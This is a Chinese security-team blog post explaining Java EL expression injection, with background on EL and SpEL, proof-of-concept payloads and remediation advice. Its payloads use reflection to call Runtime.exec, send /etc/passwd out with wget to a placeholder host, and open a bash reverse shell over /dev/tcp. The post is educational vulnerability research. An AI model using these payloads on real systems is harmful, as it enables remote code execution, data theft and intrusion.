专属于java的漏洞——EL表达式注入

百家 作者:焦点安全应急响应中心 2021-03-12 20:32:56
前言

    “FSRC经验分享”系列文章,旨在分享焦点科技信息安全部工作过程中的经验总结,包括但不限于漏洞分析、运营技巧、sdl推行、等保合规、自研工具等等。

    欢迎各位安全从业者持续关注~ 


0x01EL简介

    

表达式语言(Expression Language 以下简称EL)是以JSTL(JavaServer Pages Standard Tag Library,JSP标准标签库)的一部分出现的,原本被叫做SPEL(Simplest Possible Expression Language,简单的表达式语言),后来被称作EL(Expression Language,表达式语言)。它是一种脚本语言,允许通过JSP访问Java组件(JavaBeans)。自JSP 2.0以来,表达式语言已经被内置到JSP标签中,用于从JSP中分离Java代码,并允许(比用Java代码)更方便访问Java组件。

Java中有多种表达式语言,比如:JSTL_EL为JSP自带的表达式,适用于所有的Java Web,SpEL为Spring框架的EL表达式,只在Spring框架中可用 ,还有Struts2的OGNL。


JSTL_EL,为传统EL,通常简称为EL,这种表达式是JSP语言自带的表达式,也就是说所有的Java Web服务都必然会支持这种表达式。但是由于各家对其实现的不同,也导致某些漏洞可以在一些Java Web服务中成功利用,而在有的服务中则是无法利用。典型漏洞如CVE-2011-2730


SpEL:JAVA Spring框架特有表达式,是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。


0x02EL表达式的功能

    

EL主要的语法结构为:${ 表达式 }  。其主要功能如下:


  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)


  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}


  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据


  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法



0x03漏洞常见PoC


通用PoC

   
//执行两个数相加,xray的payload${889972849%2b988839806}
//执行replace函数,页面中应该出现bbb${"aaa".replace('a','b')}
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)${pageContext}//文件头参数${header}
//访问application作用域内部,可以获取到应用的各种属性,可获取webRoot${applicationScope}


执行读取文件命令


   

由于EL表达式中不能使用new操作符直接构建对象,也不能直接访问到java的类文件,所以这里要使用反射

首先获取java.lang.Runtime中的静态方法getRuntime的Method对象,然后通过invoke方法获取一个Runtime对象,接着就可以直接调用exec方法执行命令

${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget+--post-file=/etc/passwd+http://ip:port",null,null).toString()}



如果开发人员做了安全防护措施,比如禁用了invoke方法,无法直接反射,则需要先反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎,再执行java.lang.Runtime exec


${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('wget+--post-file=/etc/passwd+http://ip:port')")}



获取shell方式


   

(1)先获取webRoot路径,写入jsp文件


以【WooYun-2016-195845】为例,先确认使用EL表达式

https://auth.p4p.xxxx.com/login?service=${1000-900}

取WebROOT

https://auth.p4p.xxxx.com/login?service=${applicationScope}
javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext


然后就用命令向这个目录,写jsp即可



(2)直接反弹shell

?method=gotoViewPage&type=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/ip/port 0>&1",null).getInputStream())}
exec("")可替换其他获取shell的命令
ip/port 替换为自己服务器的ip

P.S:
对于java exec 本身不支持管道符、重定向符,执行命令可能不成功,可尝试编码后再执行
 http://www.jackson-t.ca/runtime-exec-payloads.html

0x04漏洞修复方案

尽量不使用外部输入的内容作为EL表达式内容;

若使用,则严格过滤EL表达式注入漏洞的payload关键字;

如果需要排查Java程序中JUEL相关代码,搜索如下关键类方法:javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()


0x05免责声明


本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

      


0x06参考资料


浅析EL表达式注入漏洞(by CanMeng)

https://www.jianshu.com/p/3a478d43a3db

Spring框架标签EL表达式执行漏洞分析(CVE-2011-2730)(by mi1k7ea)

https://xz.aliyun.com/t/7692#toc-0

表达式注入(by misakikata)

https://misakikata.github.io/2018/09/表达式注入/#EL表达式注入




FSRC,愿与你共同成长
焦点科技漏洞提交网址:https://security.focuschina.com

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接